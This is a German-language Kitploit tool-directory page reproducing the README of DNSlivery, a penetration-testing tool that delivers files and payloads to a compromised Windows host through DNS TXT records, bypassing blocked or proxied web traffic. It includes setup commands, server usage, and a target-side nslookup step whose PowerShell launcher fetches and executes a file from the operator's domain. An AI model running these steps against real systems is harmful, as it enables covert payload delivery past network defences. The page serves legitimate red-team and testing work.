Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DNSlivery — Einfache Datei- und Payload-Zustellung über DNS | Kitploit
Tools/GitHubGitHub/samybaiwir/dnslivery
DatenexfiltrationPenetrationstestsCommand and ControlRed TeamingDNS-Analyse
GitHubsamybaiwir/dnslivery

DNSlivery

Einfache Datei- und Payload-Zustellung über DNS

Repository anzeigen
426779vor 8 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

python-3.7 Known Vulnerabilities

DNSlivery

Einfache Bereitstellung von Dateien und Payloads über DNS.

  • DNSlivery
  • Danksagungen
  • Beschreibung
    • TL;DR
    • Welches Problem versuchen wir zu lösen?
    • Wie funktioniert es?
    • Anforderungen
  • Einrichtung
    • DNS-Zone
    • DNSlivery
  • Verwendung
    • Server
    • Zielsystem

Danksagungen

Dieses Projekt wurde ursprünglich von PowerDNS und dem technischen Segment von Joff Thyer im Paul's Security Weekly Podcast #590 (youtu.be/CP6cIwFJswQ) inspiriert.

Beschreibung

TL;DR

DNSlivery ermöglicht die Bereitstellung von Dateien auf einem Zielsystem unter Verwendung von DNS als Transportprotokoll.

Funktionen:

  • ermöglicht das Anzeigen, Ausführen oder Speichern von Dateien auf dem Zielsystem
  • erfordert keinen Client auf dem Zielsystem
  • erfordert keinen vollwertigen DNS-Server

demo-target.git

Welches Problem versuchen wir zu lösen?

Einfache Bereitstellung von Dateien und/oder Payloads auf einem kompromittierten Zielsystem, wenn eine klassische Web-Bereitstellung nicht möglich ist und ohne die Notwendigkeit einer dedizierten Client-Software. Dies gilt für eingeschränkte Umgebungen, in denen ausgehender Webverkehr verboten oder lediglich von einem neugierigen Web-Proxy überprüft wird.

web-delivery-blocked.png

Obwohl bereits vollständigere DNS-Tunneling-Werkzeuge existieren (z. B. dnscat2 und iodine), erfordern sie alle die Ausführung eines dedizierten Clients auf dem Zielsystem. Das Problem ist, dass es in solchen eingeschränkten Umgebungen wahrscheinlich keinen anderen Weg als DNS gibt, um den Client zu liefern. Mit anderen Worten: Der Aufbau eines DNS-Kommunikationskanals mit diesen Werkzeugen erfordert bereits einen DNS-Kommunikationskanal.

Im Vergleich dazu bietet DNSlivery nur eine Einweg-Kommunikation von Ihrem Server zum Zielsystem, benötigt dafür jedoch keinen dedizierten Client. Wenn Sie also einen zuverlässigen Zweiweg-Kommunikationskanal über DNS aufbauen müssen, verwenden Sie DNSlivery, um den Client eines fortschrittlicheren DNS-Tunneling-Werkzeugs an Ihr Zielsystem zu liefern.

Wie funktioniert es?

Wie die meisten DNS-Tunneling-Werkzeuge verwendet DNSlivery TXT-Datensätze, um den Inhalt von Dateien in ihrer Base64-Darstellung zu speichern. Für den Betrieb ist jedoch kein vollwertiger DNS-Server erforderlich. Stattdessen wird die scapy-Bibliothek verwendet, um eingehende DNS-Pakete abzuhören und die gewünschte Antwort zu erstellen.

network-process.png

Da die meisten Dateien nicht in einen einzelnen TXT-Datensatz passen, erstellt DNSlivery mehrere geordnete Datensätze, die Base64-Blöcke der Datei enthalten. Als Beispiel veranschaulicht das obige Diagramm die Bereitstellung des 42sten Blocks der Datei namens file.

Um alle Base64-Blöcke abzurufen und ohne einen dedizierten Client auf dem Zielsystem wieder zusammenzusetzen, generiert DNSlivery für jede Datei:

  • einen einfachen Klartext-Launcher
  • einen zuverlässigen, Base64-kodierten Stager

two-stages-delivery.png

Dieser zweistufige Bereitstellungsprozess ist erforderlich, um dem Stager Funktionen hinzuzufügen (z. B. die Behandlung verlorener DNS-Antworten), die sonst nicht in einen einzelnen TXT-Datensatz passen würden.

Hinweis zur Zielsystem-Kompatibilität

Derzeit werden nur PowerShell-Zielsysteme unterstützt. DNSlivery könnte jedoch erweitert werden, um zusätzliche Zielsysteme wie bash oder python zu unterstützen. Bitte lassen Sie mich @no0be wissen, ob dies eine Funktion ist, die Sie implementiert sehen möchten.

Anforderungen

DNSlivery erfordert keinen Aufbau einer komplexen Server-Infrastruktur. Tatsächlich gibt es nur zwei einfache Anforderungen:

  • die Möglichkeit, einen NS-Datensatz in Ihrer öffentlichen DNS-Zone zu erstellen
  • einen Linux-Server, der in der Lage ist, udp/53-Verkehr aus dem Internet zu empfangen

Einrichtung

DNS-Zone

Der erste Schritt besteht darin, eine Sub-Domain an den Server zu delegieren, der DNSlivery ausführen wird, indem ein neuer NS-Datensatz in Ihrer Domain erstellt wird. Als Beispiel habe ich den folgenden Datensatz erstellt, um die Sub-Domain dnsd.no0.be an den Server unter vps.no0.be zu delegieren.

root@kitploit:~
dnsd    IN  NS vps.no0.be.

Wenn Ihre Zone von einem Drittanbieter verwaltet wird, lesen Sie dessen Dokumentation zur Erstellung des NS-Datensatzes.

DNSlivery

Die einzigen Anforderungen für die Ausführung von DNSlivery sind python3 und dessen scapy-Bibliothek.

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

Verwendung

Server

DNSlivery stellt alle Dateien eines bestimmten Verzeichnisses bereit (standardmäßig pwd) und muss mit Root-Rechten ausgeführt werden, um eingehende udp/53-Pakete abzuhören.

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Einfache Bereitstellung von Dateien und Payloads über DNS

positional arguments:
  interface             Schnittstelle zum Abhören von DNS-Verkehr
  domain                FQDN-Name der DNS-Zone
  nameserver            FQDN-Name des Servers, der DNSlivery ausführt

optional arguments:
  -h, --help            Diese Hilfemeldung anzeigen und beenden
  -p PATH, --path PATH  Pfad des Verzeichnisses, das über DNS bereitgestellt wird (Standard: pwd)
  -s SIZE, --size SIZE  Größe der Base64-Blöcke in Bytes (Standard: 255)
  -v, --verbose         Ausführlichkeit erhöhen

Beispiel:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Einfache Bereitstellung von Dateien und Payloads über DNS

[*] Datei "file" bereit zur Bereitstellung unter file.dnsd.no0.be (7 Blöcke)
[*] Warte auf DNS-Abfragen...

Hinweis zur Dateinamen-Normalisierung

Da der für Domainnamen zulässige Zeichensatz wesentlich restriktiver ist als für UNIX-Dateinamen (gemäß RFC1035), führt DNSlivery bei Bedarf eine Normalisierung durch.

Beispiel:

root@kitploit:~
[*] Datei "My Awesome Powershell Script ;).ps1" bereit zur Bereitstellung unter my-awesome-powershell-script----ps1.dnsd.no0.be (1891 Blöcke)

Beachten Sie, dass der aktuelle Normalisierungscode nicht perfekt ist, da er überlappende Dateinamen oder Größenbeschränkungen nicht berücksichtigt.

Zielsystem

Beginnen Sie auf dem Zielsystem mit dem Abrufen des Launchers der gewünschten Datei, indem Sie dessen dedizierten TXT-Datensatz anfordern. Die folgenden drei Launcher werden unterstützt:

root@kitploit:~
nslookup -type=txt [dateiname].[stager].[domain]

Kopieren Sie dann einfach den in der DNS-Antwort angegebenen Launcher und fügen Sie ihn in eine PowerShell-Konsole ein, um die Datei auf dem Zielsystem abzurufen.

Beispiel:

demo-target.git

Tool herunterladen
AktionLauncherBeschreibung
Anzeigen[dateiname].print.[domain](Standard) Die bereitgestellte Datei in der Konsole anzeigen
Ausführen[dateiname].exec.[domain]Die bereitgestellte Datei ausführen (nützlich für Skripte)
Speichern[dateiname].save.[domain]Die bereitgestellte Datei auf der Festplatte speichern (nützlich für Binärdateien)